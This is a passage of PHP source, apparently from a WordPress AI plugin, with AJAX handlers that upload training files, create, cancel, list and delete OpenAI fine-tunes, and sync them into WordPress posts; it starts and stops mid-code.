$open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $result = $open_ai->listModels(); $json_parse = json_decode($result); if(isset($json_parse->error)){ return $json_parse->error->message; } elseif(isset($json_parse->data) && is_array($json_parse->data) && count($json_parse->data)){ $result = array(); foreach($json_parse->data as $item){ if($item->owned_by != 'openai' && $item->owned_by != 'system' && $item->owned_by != 'openai-dev' && $item->owned_by != 'openai-internal'){ $result[] = $item->id; } } if(count($result)){ update_option('aiomatic_custom_models', $result); } } } return $result; } public function aiomatic_download() { check_ajax_referer('openai-training-nonce', 'nonce'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { echo 'Azure/Claude API is not currently supported for finetunes.'; die(); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if(isset($_REQUEST['id']) && !empty($_REQUEST['id'])) { if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $id = sanitize_text_field($_REQUEST['id']); if (!$open_ai) { echo 'Missing API Setting'; } else { $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $result = $open_ai->retrieveFileContent($id); $json_parse = json_decode($result); if(isset($json_parse->error)){ echo esc_html($json_parse->error->message); } else{ $filename = $id.'.csv'; header('Content-Type: application/csv'); header('Content-Disposition: attachment; filename="'.$filename.'";'); $f = fopen('php://output', 'w'); $lines = explode("\n", $result); foreach($lines as $line) { $line = explode(';',$line); fputcsv($f, $line, ';'); } } } } die(); } public function aiomatic_create_finetune() { check_ajax_referer('openai-training-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with finetuning creation'); if(isset($_POST['id']) && !empty($_POST['id'])){ $aiomatic_file = get_post(sanitize_text_field($_POST['id'])); if($aiomatic_file){ $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for finetunes.'; wp_send_json($aiomatic_result); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if(!$open_ai){ $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); } if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $model = get_post_meta($aiomatic_file->ID,'aiomatic_model', true); $suffix = get_post_meta($aiomatic_file->ID,'aiomatic_custom_name', true); $dataSend = [ 'training_file' => $aiomatic_file->post_title ]; $dataSend['hyperparameters'] = []; if(isset($_POST['model']) && !empty($_POST['model'])){ $dataSend['model'] = sanitize_text_field($_POST['model']); } else{ $dataSend['model'] = $model; $dataSend['suffix'] = $suffix; } if(isset($_POST['hyper_epochs']) && !empty($_POST['hyper_epochs'])){ $dataSend['hyperparameters']["n_epochs"] = sanitize_text_field($_POST['hyper_epochs']); } if(isset($_POST['hyper_batch']) && !empty($_POST['hyper_batch'])){ $dataSend['hyperparameters']['batch_size'] = sanitize_text_field($_POST['hyper_batch']); } if(isset($_POST['hyper_rate']) && !empty($_POST['hyper_rate'])){ $dataSend['learning_rate_multiplier'] = sanitize_text_field($_POST['hyper_rate']); } if(isset($_POST['hyper_loss']) && !empty($_POST['hyper_loss'])){ $dataSend['prompt_loss_weight'] = sanitize_text_field($_POST['hyper_loss']); } if(isset($_POST['hyper_suffix']) && !empty($_POST['hyper_suffix'])){ $suf = sanitize_text_field($_POST['hyper_suffix']); $suf = (strlen($suf) > 40) ? substr($suf, 0, 40) : $suf; $dataSend['suffix'] = $suf; } if(empty($dataSend['model'])){ $dataSend['model'] = 'gpt-4o-mini'; } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } if ( $dataSend['model'] === 'turbo' ) { $dataSend['model'] = 'gpt-4o-mini'; } $result = $open_ai->createFineTune($dataSend); $aiomatic_result['model'] = $model; $result = json_decode($result); if(isset($result->error->message)){ $aiomatic_result['msg'] = $result->error->message; } else{ update_post_meta($aiomatic_file->ID,'aiomatic_fine_tune', $result->id); $aiomatic_file_id = wp_insert_post(array( 'post_title' => $result->id, 'post_date' => date('Y-m-d H:i:s', $result->created_at), 'post_status' => 'publish', 'post_type' => 'aiomatic_finetune', )); if($aiomatic_file_id === 0) { $aiomatic_result['msg'] = 'Failed to insert finetune into database.'; wp_send_json($aiomatic_result); } elseif(is_wp_error($aiomatic_file_id)) { $aiomatic_result['msg'] = 'WP error occurred when inserting finetune: ' . $aiomatic_file_id->get_error_message(); wp_send_json($aiomatic_result); } add_post_meta($aiomatic_file_id, 'aiomatic_model', $result->model); add_post_meta($aiomatic_file_id, 'aiomatic_updated_at', date('Y-m-d H:i:s', $result->finished_at)); add_post_meta($aiomatic_file_id, 'aiomatic_name', $result->fine_tuned_model); add_post_meta($aiomatic_file_id, 'aiomatic_org', $result->organization_id); add_post_meta($aiomatic_file_id, 'aiomatic_status', $result->status); $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = $result; } } else{ $aiomatic_result['msg'] = 'File not found'; } } wp_send_json($aiomatic_result); } public function aiomatic_endsWith( $haystack, $needle ) { $length = strlen( $needle ); if( !$length ) { return true; } return substr( $haystack, -$length ) === $needle; } public function aiomatic_finetune_upload() { check_ajax_referer('openai-training-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with finetuning uploading'); if(isset($_FILES['file']) && empty($_FILES['file']['error'])){ $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for finetunes.'; wp_send_json($aiomatic_result); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if(!$open_ai){ $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); } if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $file_name = sanitize_file_name(basename($_FILES['file']['name'])); $filetype = wp_check_filetype($file_name); if($filetype['ext'] !== 'jsonl' && !aiomatic_endsWith($file_name, '.jsonl')){ $aiomatic_result['msg'] = 'Only files with the jsonl extension are supported, you sent: ' . $file_name; wp_send_json($aiomatic_result); } $tmp_file = $_FILES['file']['tmp_name']; $c_file = curl_file_create($tmp_file, $_FILES['file']['type'], $file_name); $purpose = isset($_POST['purpose']) && !empty($_POST['purpose']) ? sanitize_text_field($_POST['purpose']) : 'fine-tune'; $model = isset($_POST['model']) && !empty($_POST['model']) ? sanitize_text_field($_POST['model']) : 'gpt-4o-mini'; $name = isset($_POST['name']) && !empty($_POST['name']) ? sanitize_title($_POST['name']) : ''; $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $result = $open_ai->uploadFile(array( 'purpose' => $purpose, 'file' => $c_file, )); $result = json_decode($result); if(isset($result->error->message)){ $aiomatic_result['msg'] = $result->error->message; } else{ $aiomatic_file_id = wp_insert_post(array( 'post_title' => $result->id, 'post_date' => date('Y-m-d H:i:s',get_date_from_gmt(date('Y-m-d H:i:s',$result->created_at),'U')), 'post_status' => 'publish', 'post_type' => 'aiomatic_file', )); if(!is_wp_error($aiomatic_file_id)){ if($aiomatic_file_id === 0) { $aiomatic_result['msg'] = 'Failed to upload finetune into database.'; wp_send_json($aiomatic_result); } $aiomatic_result['status'] = 'success'; add_post_meta($aiomatic_file_id, 'aiomatic_filename',$result->filename); add_post_meta($aiomatic_file_id, 'aiomatic_purpose',$result->purpose); add_post_meta($aiomatic_file_id, 'aiomatic_model',$model); add_post_meta($aiomatic_file_id, 'aiomatic_custom_name',$name); add_post_meta($aiomatic_file_id, 'aiomatic_file_size',$result->bytes); } else{ $aiomatic_result['msg'] = $aiomatic_file_id->get_error_message(); } } } wp_send_json($aiomatic_result); } public function aiomatic_get_finetune_file() { check_ajax_referer('openai-training-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with finetuning file'); if(isset($_POST['id']) && !empty($_POST['id'])){ $aiomatic_file = get_post(sanitize_text_field($_POST['id'])); if($aiomatic_file){ $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for finetunes.'; wp_send_json($aiomatic_result); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if(!$open_ai){ $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); } if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $result = $open_ai->retrieveFileContent($aiomatic_file->post_title); $json_parse = json_decode($result); if(isset($json_parse->error)){ $aiomatic_result['msg'] = $json_parse->error->message; } else{ $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = $result; } } else{ $aiomatic_result['msg'] = 'File not found'; } } wp_send_json($aiomatic_result); } public function aiomatic_finetune_events() { check_ajax_referer('openai-training-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with finetuning events'); if(isset($_POST['id']) && !empty($_POST['id'])){ $aiomatic_file = get_post(sanitize_text_field($_POST['id'])); if($aiomatic_file){ $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for finetunes.'; wp_send_json($aiomatic_result); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if(!$open_ai){ $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); } if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $result = $open_ai->retrieveFineTune($aiomatic_file->post_title); $result = json_decode($result); if(isset($result->error->message)){ $aiomatic_result['msg'] = $result->error->message; } else{ $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = $result->events; } } else{ $aiomatic_result['msg'] = 'Fine Tune not found'; } } wp_send_json($aiomatic_result); } public function aiomatic_get_finetune() { check_ajax_referer('openai-training-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with finetuning getting'); if(isset($_POST['id']) && !empty($_POST['id'])){ $aiomatic_file = get_post(sanitize_text_field($_POST['id'])); if($aiomatic_file){ $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for finetunes.'; wp_send_json($aiomatic_result); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if(!$open_ai){ $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); } if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $result = $open_ai->retrieveFineTune($aiomatic_file->post_title); $result = json_decode($result); if(isset($result->error->message)){ $aiomatic_result['msg'] = $result->error->message; } else{ $aiomatic_result['status'] = 'success'; $aiomatic_result['data'] = $result; } } else{ $aiomatic_result['msg'] = 'Fine Tune not found'; } } wp_send_json($aiomatic_result); } public function aiomatic_other_finetune() { check_ajax_referer('openai-training-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with finetuning other events'); if( isset($_POST['id']) && !empty($_POST['id']) && isset($_POST['type']) && !empty($_POST['type']) && in_array($_POST['type'], array('hyperparameters','result_files','training_file','events')) ){ $aiomatic_type = sanitize_text_field($_POST['type']); $aiomatic_file = get_post(sanitize_text_field($_POST['id'])); if($aiomatic_file){ $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for finetunes.'; wp_send_json($aiomatic_result); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if(!$open_ai){ $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); } if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $result = $open_ai->retrieveFineTune($aiomatic_file->post_title); $result = json_decode($result); if(isset($result->error->message)){ $aiomatic_result['msg'] = $result->error->message; } elseif($aiomatic_type == 'events'){ $aiomatic_data = $result; ob_start(); include (dirname(__FILE__) . "/training/" . $aiomatic_type . ".php"); $aiomatic_result['html'] = ob_get_clean(); $aiomatic_result['status'] = 'success'; } elseif(isset($result->$aiomatic_type)){ $aiomatic_data = $result->$aiomatic_type; ob_start(); include (dirname(__FILE__) . "/training/" . $aiomatic_type . ".php"); $aiomatic_result['html'] = ob_get_clean(); $aiomatic_result['status'] = 'success'; } } else{ $aiomatic_result['msg'] = 'Fine Tune not found'; } } wp_send_json($aiomatic_result); } public function aiomatic_delete_finetune_file() { check_ajax_referer('openai-training-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with finetuning deletion'); if(isset($_POST['id']) && !empty($_POST['id'])){ $aiomatic_file = get_post(sanitize_text_field($_POST['id'])); if($aiomatic_file){ $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for finetunes.'; wp_send_json($aiomatic_result); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if(!$open_ai){ $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); } if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $result = $open_ai->deleteFile($aiomatic_file->post_title); $result = json_decode($result); if(isset($result->error->message)){ $aiomatic_result['msg'] = $result->error->message; } else{ wp_delete_post($aiomatic_file->ID, true); $aiomatic_result['status'] = 'success'; } } else{ $aiomatic_result['msg'] = 'File not found'; } } wp_send_json($aiomatic_result); } public function aiomatic_delete_finetune() { check_ajax_referer('openai-training-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with finetuning single deletion'); if(isset($_POST['id']) && !empty($_POST['id'])){ $aiomatic_file = get_post(sanitize_text_field($_POST['id'])); if($aiomatic_file){ $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for finetunes.'; wp_send_json($aiomatic_result); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if(!$open_ai){ $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); } if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $ft_model = get_post_meta($aiomatic_file->ID,'aiomatic_name',true); if(!empty($ft_model)) { $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $result = $open_ai->deleteFineTune($ft_model); $result = json_decode($result); if (isset($result->error)) { $aiomatic_result['msg'] = $result->error->message; } else { update_post_meta($aiomatic_file->ID, 'aiomatic_deleted','1'); $aiomatic_result['status'] = 'success'; } } else{ $aiomatic_result['msg'] = 'That model does not exist'; } } else{ $aiomatic_result['msg'] = 'File not found'; } } wp_send_json($aiomatic_result); } public function aiomatic_cancel_finetune() { check_ajax_referer('openai-training-nonce', 'nonce'); $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with finetuning canceling'); if(isset($_POST['id']) && !empty($_POST['id'])){ $aiomatic_file = get_post(sanitize_text_field($_POST['id'])); if($aiomatic_file){ $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for finetunes.'; wp_send_json($aiomatic_result); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if(!$open_ai){ $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); } if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $result = $open_ai->cancelFineTune($aiomatic_file->post_title); $result = json_decode($result); if(isset($result->error->message)){ $aiomatic_result['msg'] = $result->error->message; } else{ add_post_meta($aiomatic_file->ID, 'aiomatic_status', 'cancelled'); $aiomatic_result['status'] = 'success'; } } else{ $aiomatic_result['msg'] = 'File not found'; } } wp_send_json($aiomatic_result); } public function aiomatic_finetunes() { check_ajax_referer('openai-training-nonce', 'nonce'); global $wpdb; $aiomatic_result = array('status' => 'error', 'msg' => 'Something went wrong with finetuning in Aiomatic'); $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { $aiomatic_result['msg'] = 'Azure/Claude API is not currently supported for finetunes.'; wp_send_json($aiomatic_result); } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; $open_ai = new OpenAi($token); if(!$open_ai) { $aiomatic_result['msg'] = 'Missing API Setting'; wp_send_json($aiomatic_result); } if (isset($aiomatic_Main_Settings['openai_organization']) && $aiomatic_Main_Settings['openai_organization'] != '') { $open_ai->setORG($aiomatic_Main_Settings['openai_organization']); } $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $result = $open_ai->listFineTunes(); $result = json_decode($result); if(isset($result->error->message)) { $aiomatic_result['msg'] = $result->error->message; } else { if(isset($result->data) && is_array($result->data) && count($result->data)) { $aiomatic_result['status'] = 'success'; $aiomaticExist = array(); $finetone_models = array(); foreach($result->data as $item){ $aiomaticExist[] = $item->id; $aiomatic_check = $wpdb->get_row("SELECT * FROM ".$wpdb->posts." WHERE post_type='aiomatic_finetune' AND post_title='{$item->id}'"); if(!$aiomatic_check) { $aiomatic_file_id = wp_insert_post(array( 'post_title' => $item->id, 'post_date' => date('Y-m-d H:i:s', $item->created_at), 'post_status' => 'publish', 'post_type' => 'aiomatic_finetune', )); if (!is_wp_error($aiomatic_file_id)) { if($aiomatic_file_id === 0) { $aiomatic_result['msg'] = 'Failed to create finetune to database.'; wp_send_json($aiomatic_result); } add_post_meta($aiomatic_file_id, 'aiomatic_model', $item->model); add_post_meta($aiomatic_file_id, 'aiomatic_updated_at', date('Y-m-d H:i:s', $item->finished_at)); add_post_meta($aiomatic_file_id, 'aiomatic_name', $item->fine_tuned_model); add_post_meta($aiomatic_file_id, 'aiomatic_org', $item->organization_id); add_post_meta($aiomatic_file_id, 'aiomatic_status', $item->status); if(isset($item->result_files[0])) { add_post_meta($aiomatic_file_id, 'aiomatic_fine_tune', $item->result_files[0]); } else { add_post_meta($aiomatic_file_id, 'aiomatic_fine_tune', $item->training_file); } } else { $aiomatic_result['status'] = 'error'; $aiomatic_result['msg'] = $aiomatic_file_id->get_error_message(); break; } } else{ $aiomatic_file_id = $aiomatic_check->ID; update_post_meta($aiomatic_check->ID, 'aiomatic_model', $item->model); update_post_meta($aiomatic_check->ID, 'aiomatic_updated_at', date('Y-m-d H:i:s', $item->finished_at)); update_post_meta($aiomatic_check->ID, 'aiomatic_name', $item->fine_tuned_model); update_post_meta($aiomatic_check->ID, 'aiomatic_org', $item->organization_id); update_post_meta($aiomatic_check->ID, 'aiomatic_status', $item->status); if(isset($item->result_files[0])) { update_post_meta($aiomatic_check->ID, 'aiomatic_fine_tune', $item->result_files[0]); } else { update_post_meta($aiomatic_check->ID, 'aiomatic_fine_tune', $item->training_file); } } if(!empty($item->fine_tuned_model)) { $delay = ''; if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') { if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false) { $tempo = explode(',', $aiomatic_Main_Settings['request_delay']); if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0]))) { $delay = rand(trim($tempo[0]), trim($tempo[1])); } } else { if(is_numeric(trim($aiomatic_Main_Settings['request_delay']))) { $delay = intval(trim($aiomatic_Main_Settings['request_delay'])); } } } if($delay != '' && is_numeric($delay)) { usleep($delay); } $resultModel = $open_ai->retrieveModel($item->fine_tuned_model); $resultModel = json_decode($resultModel); if(isset($resultModel->error)){ wp_delete_post($aiomatic_file_id, true); } elseif($item->status == 'succeeded'){ $finetone_models[] = $item->fine_tuned_model; } } } update_option('aiomatic_custom_models', $finetone_models); if(count($aiomaticExist)){ $wpdb->query("DELETE FROM ".$wpdb->posts." WHERE post_type='aiomatic_finetune' AND post_title NOT IN ('".implode("','",$aiomaticExist)."')"); } else{ $wpdb->query("DELETE FROM ".$wpdb->posts." WHERE post_type='aiomatic_finetune'"); } } else{ $aiomatic_result['status'] = 'success'; $wpdb->query("DELETE FROM ".$wpdb->posts." WHERE post_type='aiomatic_finetune'"); update_option('aiomatic_custom_models', array()); } } wp_send_json($aiomatic_result); } public function aiomatic_save_files($items) { global $wpdb; $aiomaticExist = array(); foreach($items as $item){ if($item->purpose !== 'fine-tune-results' && $item->status != 'deleted') { $aiomatic_check = $wpdb->get_row("SELECT * FROM " . $wpdb->posts . " WHERE post_type='aiomatic_file' AND post_title='{$item->id}'"); $aiomaticExist[] = $item->id; if (!$aiomatic_check) { $aiomatic_file_id = wp_insert_post(array( 'post_title' => $item->id, 'post_date' => date('Y-m-d H:i:s', $item->created_at), 'post_status' => 'publish', 'post_type' => 